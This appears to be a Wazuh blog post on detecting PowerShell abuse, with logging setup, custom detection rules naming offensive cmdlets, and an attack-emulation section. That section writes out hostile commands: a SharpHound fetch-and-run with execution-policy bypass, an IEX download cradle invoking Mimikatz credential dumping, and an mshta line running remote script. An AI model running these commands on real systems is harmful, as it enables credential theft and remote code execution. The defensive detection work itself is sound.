PowerShell is a tool widely used for managing Windows endpoints. Its versatility makes it a key resource for administrators, allowing them to control various system functions, automate workflows, and manage configurations efficiently. The scripting capabilities of PowerShell enable users to perform tasks that would otherwise require multiple steps manually, saving time and reducing human error.
However, the same features that make PowerShell valuable also presents security risks. Threat actors exploit PowerShell to carry out malicious activities because it can execute commands directly on an endpoint. PowerShell has been used to run malware, download malicious payloads, and steal sensitive data, often without triggering traditional antivirus tools. Monitoring PowerShell usage and ensuring that only authorized activities are executed is essential for preventing abuse and protecting endpoints from these threats.
The MITRE ATT&CK framework outlines various techniques attackers use to abuse PowerShell. This blog post describes how we use Wazuh to detect PowerShell abuse techniques in Windows endpoints.
Requirements
We use the following infrastructure to demonstrate the detection of PowerShell abuse techniques in Windows endpoints with Wazuh:
- Wazuh 4.9.2 central components (Wazuh server, Wazuh indexer, Wazuh dashboard) installed using the Quickstart guide on an Ubuntu server.
- A Windows 11 endpoint. This endpoint has a Wazuh agent installed and enrolled to the Wazuh server.
Configuration
To detect PowerShell abuse, we need to enable and collect PowerShell logs on the monitored Windows endpoint and create custom rules. This section describes how to configure the required components for detecting PowerShell abuse.
Windows endpoint
Perform the following steps to configure the Wazuh agent for log collection from PowerShell.
1. Open PowerShell as Administrator and run the following commands to enable PowerShell logging. This enables detailed logging in PowerShell as Windows does not collect detailed information about executed commands on PowerShell by default due to an increase in system resource usage and storage demands:
> function Enable-PSLogging { # Define registry paths for ScriptBlockLogging and ModuleLogging $scriptBlockPath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' $moduleLoggingPath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging' # Enable Script Block Logging if (-not (Test-Path $scriptBlockPath)) { $null = New-Item $scriptBlockPath -Force } Set-ItemProperty -Path $scriptBlockPath -Name EnableScriptBlockLogging -Value 1 # Enable Module Logging if (-not (Test-Path $moduleLoggingPath)) { $null = New-Item $moduleLoggingPath -Force } Set-ItemProperty -Path $moduleLoggingPath -Name EnableModuleLogging -Value 1 # Specify modules to log - set to all (*) for comprehensive logging $moduleNames = @('*') # To specify individual modules, replace * with module names in the array New-ItemProperty -Path $moduleLoggingPath -Name ModuleNames -PropertyType MultiString -Value $moduleNames -Force Write-Output "Script Block Logging and Module Logging have been enabled." } > Enable-PSLogging
The expected output is as seen below:
Script Block Logging and Module Logging have been enabled.
2. Add the following configuration within the <ossec_config>
block of the C:\Program Files (x86)\ossec-agent\ossec.conf
file to forward PowerShell logs to the Wazuh server for analysis:
<localfile> <location>Microsoft-Windows-PowerShell/Operational</location> <log_format>eventchannel</log_format> </localfile>
3. Restart the Wazuh agent to apply the configuration changes:
> Restart-Service -Name wazuh
Wazuh server
Perform the following steps on the Wazuh server to create custom rules to monitor the PowerShell events of interest.
1. Add the following custom rules to the /var/ossec/etc/rules/local_rules.xml
rule file:
<group name="windows,powershell,"> <rule id="100201" level="8"> <if_sid>60009</if_sid> <field name="win.eventdata.payload" type="pcre2">(?i)CommandInvocation</field> <field name="win.system.message" type="pcre2">(?i)EncodedCommand|FromBase64String|EncodedArguments|-e\b|-enco\b|-en\b</field> <description>Encoded command executed via PowerShell.</description> <mitre> <id>T1059.001</id> <id>T1562.001</id> </mitre> </rule> <rule id="100202" level="4"> <if_sid>60009</if_sid> <field name="win.system.message" type="pcre2">(?i)blocked by your antivirus software</field> <description>Windows Security blocked malicious command executed via PowerShell.</description> <mitre> <id>T1059.001</id> </mitre> </rule> <rule id="100203" level="10"> <if_sid>60009</if_sid> <field name="win.eventdata.payload" type="pcre2">(?i)CommandInvocation</field> <field name="win.system.message" type="pcre2">(?i)Add-Persistence|Find-AVSignature|Get-GPPAutologon|Get-GPPPassword|Get-HttpStatus|Get-Keystrokes|Get-SecurityPackages|Get-TimedScreenshot|Get-VaultCredential|Get-VolumeShadowCopy|Install-SSP|Invoke-CredentialInjection|Invoke-DllInjection|Invoke-Mimikatz|Invoke-NinjaCopy|Invoke-Portscan|Invoke-ReflectivePEInjection|Invoke-ReverseDnsLookup|Invoke-Shellcode|Invoke-TokenManipulation|Invoke-WmiCommand|Mount-VolumeShadowCopy|New-ElevatedPersistenceOption|New-UserPersistenceOption|New-VolumeShadowCopy|Out-CompressedDll|Out-EncodedCommand|Out-EncryptedScript|Out-Minidump|PowerUp|PowerView|Remove-Comments|Remove-VolumeShadowCopy|Set-CriticalProcess|Set-MasterBootRecord</field> <description>Risky CMDLet executed. Possible malicious activity detected.</description> <mitre> <id>T1059.001</id> </mitre> </rule> <rule id="100204" level="8"> <if_sid>91802</if_sid> <field name="win.eventdata.scriptBlockText" type="pcre2">(?i)mshta.*GetObject|mshta.*new ActiveXObject</field> <description>Mshta used to download a file. Possible malicious activity detected.</description> <mitre> <id>T1059.001</id> </mitre> </rule> <rule id="100205" level="5"> <if_sid>60009</if_sid> <field name="win.eventdata.contextInfo" type="pcre2">(?i)ExecutionPolicy bypass|exec bypass</field> <description>PowerShell execution policy set to bypass.</description> <mitre> <id>T1059.001</id> </mitre> </rule> <rule id="100206" level="5"> <if_sid>60009</if_sid> <field name="win.eventdata.contextInfo" type="pcre2">(?i)Invoke-WebRequest|IWR.*-url|IWR.*-InFile</field> <description>Invoke Webrequest executed, possible download cradle detected.</description> <mitre> <id>T1059.001</id> </mitre> </rule> </group>
Where:
- Rule ID
100201
detects when an encoded command is executed via PowerShell. - Rule ID
100202
notifies when Windows Security blocks a user from running malicious commands. - Rule ID
100203
detects when commands from tools with known malicious cmdlets are executed. - Rule ID
100204
detects whenMshta
is used to download and execute a file. - Rule ID
100205
detects when a script has been executed with the execution policy set to bypass. - Rule ID
100206
detects a possible download cradle whereinvoke-webrequest
is used to download a file.
2. Restart the Wazuh manager to apply the configuration changes:
# systemctl restart wazuh-manager
Attack emulation
We test the detection rules, using the following tests for PowerShell sub-techniques under MITRE Command and Scripting Interpreter technique.
Execution of malicious commands
Attackers abuse PowerShell to run malicious commands on a victim’s endpoint. This misuse can include manipulating system processes and stealing sensitive information. Attackers prefer PowerShell because it can execute commands directly in memory, bypassing file-based security measures and reducing detection by traditional antivirus programs. Wazuh contains some out-of-the-box rules to detect execution of malicious commands.
In this example, we use PowerShell to invoke SharpHound. SharpHound is a malicious tool that can gather vital information about an endpoint. Run the following command to simulate the invocation of SharpHound:
> curl "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/refs/heads/master/Collectors/SharpHound.ps1" -o SharpHound.ps1 > powershell -ep bypass .\sharphound.ps1 --collectionmethod all
The following alerts are triggered on the dashboard when commands invoking SharpHound are executed.
Windows Security also detects when certain malicious commands are run. By default, Windows Security blocks these commands from being executed. In this example, we attempt to use a malicious tool, Mimikatz to dump the credentials on the endpoint using the following command:
> powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
The attempt is blocked by Windows Security and we can see the following alert on the dashboard.
Downloading and executing files
A download cradle is a technique used to download and execute external scripts or payloads directly from the internet or other external sources. Download cradle is a popular means of abusing PowerShell. This method enables the seamless retrieval and execution of malicious content in one step, often bypassing traditional file-based security controls.
Run the command below to download and execute the EICAR malware test file, this triggers an out-of-the-box rule:
> powershell -Command "IEX(New-Object Net.WebClient).DownloadString('https://secure.eicar.org/eicar.com.txt -OutFile eicar;.\eicar')"
The following alert is triggered on the dashboard when the command is executed.
Another way a download cradle can be invoked is with the Invoke-Webrequest
command. A malicious user can download and execute a malicious payload using this method. Run the following command to simulate the activity:
> Invoke-WebRequest https://secure.eicar.org/eicar.com.txt -OutFile eicar;.\eicar
The following alert is triggered on the dashboard when the command is executed.
Obfuscation and evasion
Obfuscated commands are a common tactic used by attackers to hide the true intent of their scripts and evade detection by security tools. Encoding commands might allow malicious scripts to bypass detection while executing harmful operations, such as data theft or downloading additional malicious payloads.
Run the below command to execute an encoded command using the EncodedCommand
flag. This sample command prints Hello World to the screen:
> powershell.exe -EncodedCommand "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAEgAZQBsAGwAbwAgAFcAbwByAGwAZAAiAA=="
The following alert is triggered on the dashboard when the command is executed.
Threat actors may also use PowerShell’s execution policy bypass for malicious purposes and execute unauthorized scripts. By leveraging the -ExecutionPolicy Bypass
flag (or any of its variants like exec bypass
), attackers can override restrictions that prevent script execution, enabling them to deploy malicious payloads. This method allows unsigned or restricted scripts to run successfully on the endpoint.
Run the commands below to simulate a threat actor using execution bypass to run scripts:
> echo "whoami" > "C:\Program Files (x86)\ossec-agent\active-response\bin\test.ps1" > Powershell -ExecutionPolicy bypass -File "C:\Program Files (x86)\ossec-agent\active-response\bin\test.ps1"
The following alert is seen on the dashboard.
Living off the land
Living off the land (LOTL) techniques involve using inbuilt legitimate tools to execute malicious commands, minimizing the need for downloading new malware and reducing detection. Attackers often exploit Microsoft-signed binaries such as mshta.exe
, which is designed to execute Microsoft HTML applications. By abusing mshta.exe
, an attacker can run malicious JavaScript or VBScript directly from a URL or embedded script, enabling them to download and execute payloads. This approach allows threat actors to blend in with normal endpoint activities, making it more challenging for security solutions to detect these operations.
Run the command below to simulate a LOTL attack. This tries to execute a JavaScript file directly from a URL:
> mshta.exe "javascript:a=GetObject('script:#{url}').Exec();close()"
The following alert is triggered on the dashboard when the command is executed.
Conclusion
PowerShell is a powerful tool in Windows endpoints that system administrators leverage to manage and automate various tasks. PowerShell can be abused by adversaries to run malicious commands on an endpoint and sometimes successfully evade detection. In this blog post, we demonstrated how to enable PowerShell auditing and how we use Wazuh to detect some PowerShell exploitation techniques.
Wazuh is a free and open source SIEM and XDR solution. Wazuh is deployed and managed on-premises, or on Wazuh cloud. Check out our community for support and updates.
References